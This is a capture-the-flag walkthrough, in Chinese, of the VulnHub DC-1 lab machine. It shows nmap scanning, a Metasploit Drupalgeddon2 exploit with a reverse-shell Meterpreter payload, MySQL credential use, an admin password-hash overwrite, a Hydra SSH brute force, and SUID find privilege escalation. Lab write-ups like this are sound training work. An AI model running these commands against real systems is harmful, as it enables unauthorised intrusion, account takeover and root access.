https://www.vulnhub.com/entry/dc-1-1,292/
记得看靶场描述,有5个flag
网络模式:NAT
1、主机发现
nmap -T4 192.168.194.1/24
nmap -T4 -sV -A 192.168.194.154
开放了22、80、111,先看下80端口,drupal 7
内容管理系统(content management system,CMS)主要包含:drupal、wordpress、joomla!
2、msf漏洞发现与利用
msfconsole -q
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set payload php/meterpreter/reverse_tcp
剩余设置看yes选项需求
set rhosts 192.168.194.154
利用
exploit
使用ls指令,发现flag1
查看flag1,有提示
切换到相应文件,发现flag2和数据库账号、密码
Python打开shell终端获取交互shell,登录mysql数据库
Shell
python -c 'import pty;pty.spawn("/bin/bash")'
mysql -udbuser -pR0ck3t
查看用户和密码
show databases;
use drupaldb;
select * from users;
select * from users\G;
发现被加密,生成新密码,用于更新密码,之前做过,前后密码一致了
在Drupal 7的安装目录中的scripts目录下,有一些Drupal
7开发者准备好的PHP脚本,可以执行一些高级操作。
其中有一个脚本名为:password-hash.sh,它的功能是传入一个密码(字符串),即返回
加密后的密码字符串。
php scripts/password-hash.sh 123456
update users set pass="$S$DeZpFbTDj2bR.cRAXn80CjQun0bADXOMp/RGPmiw61EdqHr9g8YP" where name="admin";
3、账户登录,发现flag3
尝试查看/etc/shadow,权限不足
尝试查看一下 /etc/passwd,发现flag4是一个用户
4. 使用ssh登录flag4账户
Flag4是一个用户,flag4用户密码可以使用ssh登录进行爆破
Hydra破解,爆破成功
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt 192.168.194.154 ssh
ssh登录,得到flag4
5、find提权
找suid的程序
find / -type f -perm -u=s 2>/dev/null
发现find命令有suid权限,进行其利用提权
find ./ aaa -exec '/bin/sh' \;
完成后的补充
(1)添加用户,登录网站
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t
http://192.168.194.154 -u admin1 -p admin
(2)简洁版
先提权,再找剩余的flag
find / -type f -name flag1.txt